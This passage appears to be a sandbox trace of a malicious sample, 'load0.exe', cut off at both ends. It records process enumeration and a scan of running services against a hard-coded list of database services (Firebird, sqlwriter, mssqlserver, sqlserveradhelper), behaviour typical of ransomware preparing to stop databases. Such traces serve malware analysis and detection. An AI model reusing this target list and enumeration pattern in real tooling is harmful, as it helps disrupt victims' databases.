hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0249.174] lstrlenW (lpString="explorer.exe") returned 12 [0249.174] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0249.175] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0249.175] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0249.176] lstrlenW (lpString="SearchUI.exe") returned 12 [0249.176] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0249.177] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0249.177] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0249.178] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0249.178] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0249.179] lstrlenW (lpString="load0.exe") returned 9 [0249.179] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0249.180] lstrlenW (lpString="cmd.exe") returned 7 [0249.180] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0249.181] lstrlenW (lpString="conhost.exe") returned 11 [0249.181] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0249.182] lstrlenW (lpString="mode.com") returned 8 [0249.182] Process32NextW (in: hSnapshot=0x1254, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0249.183] CloseHandle (hObject=0x1254) returned 1 [0249.183] Sleep (dwMilliseconds=0x1f4) [0249.735] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64898 [0249.735] EnumServicesStatusExW (in: hSCManager=0x3f64898, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0249.736] GetLastError () returned 0xea [0249.736] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x3fb5c50 [0249.736] EnumServicesStatusExW (in: hSCManager=0x3f64898, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fb5c50, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fb5c50, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0249.739] CloseServiceHandle (hSCObject=0x3f64898) returned 1 [0249.740] lstrlenW (lpString="Appinfo") returned 7 [0249.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0249.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0249.740] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0249.740] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0249.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0249.740] lstrlenW (lpString="AppXSvc") returned 7 [0249.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0249.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0249.740] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0249.740] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0249.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0249.740] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0249.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0249.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0249.740] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0249.740] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0249.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0249.740] lstrlenW (lpString="Audiosrv") returned 8 [0249.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0249.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0249.740] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0249.740] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0249.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0249.740] lstrlenW (lpString="BFE") returned 3 [0249.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0249.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0249.741] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0249.741] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0249.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0249.741] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0249.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0249.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0249.741] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0249.741] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0249.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0249.741] lstrlenW (lpString="CDPSvc") returned 6 [0249.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0249.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0249.741] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0249.741] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0249.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0249.741] lstrlenW (lpString="ClickToRunSvc") returned 13 [0249.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0249.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0249.741] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0249.741] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0249.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0249.741] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0249.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0249.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0249.741] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0249.741] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0249.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0249.741] lstrlenW (lpString="CryptSvc") returned 8 [0249.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0249.741] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0249.741] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0249.741] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0249.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0249.741] lstrlenW (lpString="DcomLaunch") returned 10 [0249.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0249.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0249.742] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0249.742] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0249.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0249.742] lstrlenW (lpString="DeviceAssociationService") returned 24 [0249.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0249.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0249.742] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0249.742] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0249.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0249.742] lstrlenW (lpString="Dhcp") returned 4 [0249.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0249.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0249.742] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0249.742] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0249.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0249.742] lstrlenW (lpString="Dnscache") returned 8 [0249.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0249.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0249.742] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0249.742] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0249.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0249.742] lstrlenW (lpString="DPS") returned 3 [0249.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0249.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0249.742] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0249.742] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0249.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0249.742] lstrlenW (lpString="DusmSvc") returned 7 [0249.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0249.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0249.742] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0249.743] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0249.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0249.743] lstrlenW (lpString="EventLog") returned 8 [0249.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0249.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0249.743] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0249.743] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0249.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0249.743] lstrlenW (lpString="EventSystem") returned 11 [0249.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0249.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0249.743] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0249.743] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0249.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0249.743] lstrlenW (lpString="FontCache") returned 9 [0249.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0249.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0249.743] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0249.743] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0249.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0249.743] lstrlenW (lpString="gpsvc") returned 5 [0249.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0249.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0249.743] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0249.743] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0249.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0249.743] lstrlenW (lpString="iphlpsvc") returned 8 [0249.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0249.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0249.743] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0249.743] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0249.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0249.743] lstrlenW (lpString="KeyIso") returned 6 [0249.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0249.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0249.744] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0249.744] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0249.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0249.744] lstrlenW (lpString="LanmanServer") returned 12 [0249.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0249.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0249.744] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0249.744] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0249.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0249.744] lstrlenW (lpString="LanmanWorkstation") returned 17 [0249.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0249.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0249.744] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0249.744] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0249.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0249.744] lstrlenW (lpString="lfsvc") returned 5 [0249.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0249.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0249.744] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0249.744] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0249.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0249.744] lstrlenW (lpString="lmhosts") returned 7 [0249.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0249.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0249.744] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0249.744] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0249.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0249.745] lstrlenW (lpString="LSM") returned 3 [0249.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0249.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0249.745] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0249.745] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0249.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0249.745] lstrlenW (lpString="MpsSvc") returned 6 [0249.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0249.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0249.745] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0249.745] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0249.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0249.745] lstrlenW (lpString="NcbService") returned 10 [0249.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0249.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0249.745] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0249.745] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0249.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0249.745] lstrlenW (lpString="netprofm") returned 8 [0249.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0249.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0249.745] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0249.745] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0249.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0249.745] lstrlenW (lpString="NgcSvc") returned 6 [0249.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0249.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0249.745] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0249.745] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0249.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0249.746] lstrlenW (lpString="NlaSvc") returned 6 [0249.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0249.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0249.746] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0249.746] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0249.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0249.746] lstrlenW (lpString="nsi") returned 3 [0249.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0249.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0249.746] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0249.746] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0249.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0249.746] lstrlenW (lpString="PcaSvc") returned 6 [0249.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0249.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0249.746] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0249.746] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0249.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0249.746] lstrlenW (lpString="PlugPlay") returned 8 [0249.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0249.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0249.746] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0249.746] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0249.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0249.746] lstrlenW (lpString="Power") returned 5 [0249.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0249.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0249.746] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0249.747] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0249.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0249.747] lstrlenW (lpString="ProfSvc") returned 7 [0249.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0249.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0249.747] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0249.747] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0249.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0249.747] lstrlenW (lpString="RpcEptMapper") returned 12 [0249.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0249.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0249.747] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0249.747] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0249.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0249.747] lstrlenW (lpString="RpcSs") returned 5 [0249.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0249.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0249.747] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0249.747] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0249.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0249.747] lstrlenW (lpString="SamSs") returned 5 [0249.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0249.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0249.747] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0249.747] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0249.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0249.747] lstrlenW (lpString="Schedule") returned 8 [0249.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0249.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0249.748] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0249.748] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0249.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0249.748] lstrlenW (lpString="SecurityHealthService") returned 21 [0249.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0249.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0249.748] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0249.748] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0249.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0249.748] lstrlenW (lpString="SENS") returned 4 [0249.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0249.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0249.748] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0249.748] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0249.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0249.748] lstrlenW (lpString="ShellHWDetection") returned 16 [0249.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0249.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0249.748] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0249.748] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0249.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0249.748] lstrlenW (lpString="Spooler") returned 7 [0249.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0249.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0249.748] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0249.748] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0249.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0249.748] lstrlenW (lpString="StateRepository") returned 15 [0249.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0249.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0249.749] lstrcmpiW 